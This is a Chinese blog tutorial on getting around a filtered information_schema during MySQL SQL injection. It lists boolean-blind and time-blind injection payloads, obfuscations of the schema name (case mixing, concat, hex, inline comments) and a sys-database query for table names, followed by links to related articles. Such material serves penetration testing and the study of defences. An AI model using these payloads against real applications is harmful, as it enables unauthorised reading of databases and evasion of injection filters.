绕过information_schema库的一些方式

information_schema库的意义:

该数据库mysql其实是个信息数据库,保存着mysql服务器所维护的所有其他数据库信息,所以里面包含了数据库名,表名,字段名等,因此,information_schema 的重要性就在这三点上了,而如果information_schema库被过滤掉了,就只能通过其他方式来处理了。

绕过方式:

1、使用盲注猜测信息:

可以使用布尔盲注、时间盲注,对数据库信息进行猜测(因为是猜测,所以可能需要大量尝试,所以推荐使用脚本解决)

布尔盲注

复制代码
' and ascii(substr(database(), 1, 1))=97 --

时间盲注:

复制代码
 ' AND IF(SUBSTR(database(),1,1)='a', SLEEP(0.5), 0) -- 

2、尝试混淆源信息:

  • 修改大小写(我不看好)

    复制代码
    iNformaTIOn_schEma
  • 使用字符串进行拼接:

    复制代码
     concat('in','formation_schema')
  • 将其转换为16进制:

    复制代码
    696e666f726d6174696f6e5f736368656d61
  • 使用内连注释:

    复制代码
    SELECT table_name FROM /*!information_schema*/.tables WHERE table_schema=DATABASE();

3、使用其他库:

  • 使用sys数据库(5.7以上)

    sql 复制代码
    SELECT table_name FROM sys.schema_auto_increment_columns;      --获取所有表名	
相关推荐
Sagittarius_A*4 小时前
H3CSE 高性能园区网:SNMP 网络管理协议详解
网络·计算机网络·安全·h3cse
黎阳之光5 小时前
视频孪生+空天地水工融合,黎阳之光构建智慧水利监测新范式
大数据·人工智能·物联网·算法·安全
心 一5 小时前
Lonkero Web安全扫描器:从安装到实战的完整指南
安全·web安全
小鹿软件办公5 小时前
微软不再声称 Win11 内置安全防护可替代第三方杀毒软件
安全·microsoft
学习溢出5 小时前
【网络安全】追踪PowerShell命令历史
安全·网络安全
会周易的程序员6 小时前
使用 QClaw 驱动多 Agent 团队对项目进行专业安全审计实战
物联网·安全·iot·aiot·qclaw
codingPower6 小时前
JAVA后端安全进阶:基于HMAC-SHA256+Nonce+Timestamp的API防重放攻击方案
java·开发语言·spring boot·安全
Geometry Fu6 小时前
《物联网安全》第4章 网络攻防实例
网络·物联网·安全·网络攻击·网络攻防
Sombra_Olivia6 小时前
Vulhub 中的 cmsms CVE-2019-9053 & CVE-2021-26120
安全·web安全·网络安全·渗透测试·vulhub
数字护盾(和中)7 小时前
攻击链识别:企业抵御快攻型勒索攻击的关键能力
网络·安全·web安全